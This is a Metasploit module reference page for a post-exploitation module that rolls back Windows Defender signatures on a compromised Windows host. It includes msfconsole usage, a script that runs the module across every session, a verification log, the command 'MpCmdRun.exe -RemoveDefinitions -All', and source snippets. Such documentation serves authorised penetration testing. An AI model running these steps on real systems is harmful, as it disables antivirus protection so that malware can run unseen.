Disable Windows Defender Signatures - Metasploit


This page contains detailed information about how to use the post/windows/manage/rollback_defender_signatures metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Disable Windows Defender Signatures
Module: post/windows/manage/rollback_defender_signatures
Source code: modules/post/windows/manage/rollback_defender_signatures.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module with appropriate rights let to use the Windows Defender command-line utility a run and automation tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine. The tool is prominently used for scheduling scans and updating the signature or definition files, but there is a switch created to restore the installed signature definitions to a previous backup copy or to the original default set of signatures which is none, disabling all the signatures and allowing malware to execute even with the Windows Defender solution enabled.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/rollback_defender_signatures

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/rollback_defender_signatures
msf post(rollback_defender_signatures) > show options
    ... show and set options ...
msf post(rollback_defender_signatures) > set SESSION session-id
msf post(rollback_defender_signatures) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/rollback_defender_signatures")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


This module requires system privs

This module rolls back the signatures in windows defender to the earliest signatures. The level of protection is somewhat indeterminate. This action is accomplished by running the command: MpCmdRun.exe -RemoveDefinitions -All

To recover, you can run MpCmdRun.exe -UpdateSignatures That will force defender to update the signatures to the latest version from

Vulnerable Applications

Windows defender is the target, though this is a feature

Verification Steps

msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN-5ADJK2NT7IJ
OS              : Windows 7 (Build 7600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 3...
msf5 post(windows/manage/rollback_defender_signatures) > show options

Module options (post/windows/manage/rollback_defender_signatures):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ACTION   Update           yes       Action to perform (Update/Rollback) (Accepted: Rollback, Update)
   SESSION  3                yes       The session to run this module on.

msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
action => rollback
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
verbose => true
msf5 post(windows/manage/rollback_defender_signatures) > show options

Module options (post/windows/manage/rollback_defender_signatures):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ACTION   rollback         yes       Action to perform (Update/Rollback) (Accepted: rollback, update)
   SESSION  3                yes       The session to run this module on.

msf5 post(windows/manage/rollback_defender_signatures) > run

[*] program_path = C:\Program Files
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
[*] Removing All Definitions for Windows Defender
[*] rollback
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
[*] 
Service Version: 6.1.7600.16385
Engine Version: 1.1.15400.5
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed

### Options
Module options (post/windows/manage/rollback_defender_signatures):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ACTION   rollback         yes       Action to perform (Update/Rollback) (Accepted: rollback, update)
   SESSION  3                yes       The session to run this module on.

Session is standard
ACTION is what you would like to do.  Rollback rolls the definitions
back to the original, update updates the signatures.  In theory, on
a normal system, rollback will push to old definitions, and update will
return the definitions.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/rollback_defender_signatures post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/rollback_defender_signatures

msf6 post(windows/manage/rollback_defender_signatures) > show info

       Name: Disable Windows Defender Signatures
     Module: post/windows/manage/rollback_defender_signatures
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  metasploit <metasploit@@csiete.org>
  luisco100 <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ACTION   Rollback         yes       Action to perform (Update/Rollback) (Accepted: rollback, update)
  SESSION                   yes       The session to run this module on.

Description:
  This module with appropriate rights let to use the Windows Defender 
  command-line utility a run and automation tool (mpcmdrun.exe) in 
  order to disable all the signatures available installed for the 
  compromised machine. The tool is prominently used for scheduling 
  scans and updating the signature or definition files, but there is a 
  switch created to restore the installed signature definitions to a 
  previous backup copy or to the original default set of signatures 
  which is none, disabling all the signatures and allowing malware to 
  execute even with the Windows Defender solution enabled.

Module Options


This is a complete list of options available in the windows/manage/rollback_defender_signatures post exploitation module:

msf6 post(windows/manage/rollback_defender_signatures) > show options

Module options (post/windows/manage/rollback_defender_signatures):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ACTION   Rollback         yes       Action to perform (Update/Rollback) (Accepted: rollback, update)
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/rollback_defender_signatures post exploitation module:

msf6 post(windows/manage/rollback_defender_signatures) > show advanced

Module advanced options (post/windows/manage/rollback_defender_signatures):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/rollback_defender_signatures module can do:

msf6 post(windows/manage/rollback_defender_signatures) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/rollback_defender_signatures post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/rollback_defender_signatures) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

You must be System to run this Module


Here is a relevant code snippet related to the "You must be System to run this Module" error message:

38:	  end
39:	
40:	  def run
41:	    # Are we system?
42:	    if not is_system?()
43:	      fail_with(Failure::NoAccess, "You must be System to run this Module")
44:	    end
45:	    # Is the binary there?
46:	    program_path = session.sys.config.getenv('ProgramFiles')
47:	    vprint_status("program_path = #{program_path}")
48:	    file_path = program_path + '\Windows Defender\MpCmdRun.exe'

<FILE_PATH> is not Present


Here is a relevant code snippet related to the "<FILE_PATH> is not Present" error message:

46:	    program_path = session.sys.config.getenv('ProgramFiles')
47:	    vprint_status("program_path = #{program_path}")
48:	    file_path = program_path + '\Windows Defender\MpCmdRun.exe'
49:	    vprint_status("file_path = #{file_path}")
50:	    if not exist?(file_path)
51:	      fail_with(Failure::NoAccess, "#{file_path} is not Present")
52:	    end
53:	    # Is defender even enabled?
54:	    defender_disable_key = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
55:	    disable_key_value = meterpreter_registry_getvalinfo(defender_disable_key, "DisableAntiSpyware", REGISTRY_VIEW_NATIVE)
56:	    if disable_key_value.nil? || disable_key_value != 1

Defender is not Enabled


Here is a relevant code snippet related to the "Defender is not Enabled" error message:

65:	      output = cmd_exec(cmd)
66:	      if output.include?('denied')
67:	        print_bad("#{output}")
68:	      else
69:	        print_status("#{output}")
70:	      end
71:	    else
72:	      fail_with(Failure::BadConfig, "Defender is not Enabled")
73:	    end
74:	  end
75:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • metasploit@[at]csiete.org
  • luisco100 <luisco100[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.